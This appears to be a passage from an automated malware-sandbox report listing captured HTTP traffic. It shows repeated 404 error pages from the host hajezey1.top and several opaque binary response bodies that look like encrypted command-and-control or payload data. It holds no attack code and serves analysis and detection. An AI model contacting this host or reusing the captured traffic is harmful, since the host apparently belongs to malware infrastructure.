Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:55:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:04 GMTContent-Type: text/html; charset=utf-8Content-Length: 7Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 03 00 00 00 1d 3d 5d Data Ascii: =]
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:05 GMTContent-Type: text/html; charset=utf-8Content-Length: 42Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 07 9b 01 c2 40 9c e2 0f b3 66 f5 26 0a 5b 22 f9 6a 00 7e c2 5d 31 0e Data Ascii: Uys/~(`:@f&["j~]1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:10 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 57 2b 4d 9c 94 1b 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f eb 92 24 a6 4d c5 03 97 65 a3 61 7e de f5 36 9c 19 17 7e 4f af 9a a5 84 cb a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 31 70 48 9a 07 fd ec 3f 36 7f ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 c5 52 ce 4f 13 79 82 ae 9c f7 ad 4e 3d 79 ac f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 10 d3 fb 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 02 ed fd 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 44 40 40 07 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 40 22 b5 1b 6f d3 cb 29 32 86 e5 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 5f a0 1f e4 a6 bd 12 9f 10 ff d9 b0 99 b5 9b 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb d1 46 bb 2a d2 be 45 1f d0 b5 aa 7a 8f 0e 69 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 63 b3 88 7d 3f dc e5 7e 3f a4 70 d4 03 bb 03 9a 76 6a 0f ca 82 c3 26 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 b2 27 70 10 7b 3a 1d f8 08 85 af 88 c1 a4 0e 31 25 4d db a9 c3 f8 cb 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 59 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:13 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 15:56:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 11 fc 86 d5 36 8c f6 c7 35 f3 73 07 03 d2 ff f9 fa fa eb b2 b9 71 cd 79 33 33 d1 60 73 45 7c 1f 57 44 63 84 be 3c 50 15 51 fe 08 a2 b9 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 62 91 54 5b fd 55 19 d0 ed c5 70 b1 17 20 58 4a ed 08 63 3e 17 21 6b df a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff e4 e1 55 db 8b 0d 13 13 bf 9e e1 92 08 0c 4f c5 03 a1 cb a1 61 7e de f5 69 e1 19 17 c6 4c af 9a a5 e4 c9 a0 cd b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 4c 33 6c 21 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 e3 a0 f5 1a 20 9b 4a d8 19 ae cc 4f 3b 79 82 ae b2 e3 67 34 01 56 ad f3 a3 77 2a b9 72 ce cc 23 b2 3b 0e 31 79 90 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 81 43 4f 55 b7 69 b7 9f 1f cd cc 46 d9 c8 15 ac af ed d9 55 3d ff ba 68 92 0e ff 9d 7f 7f 55 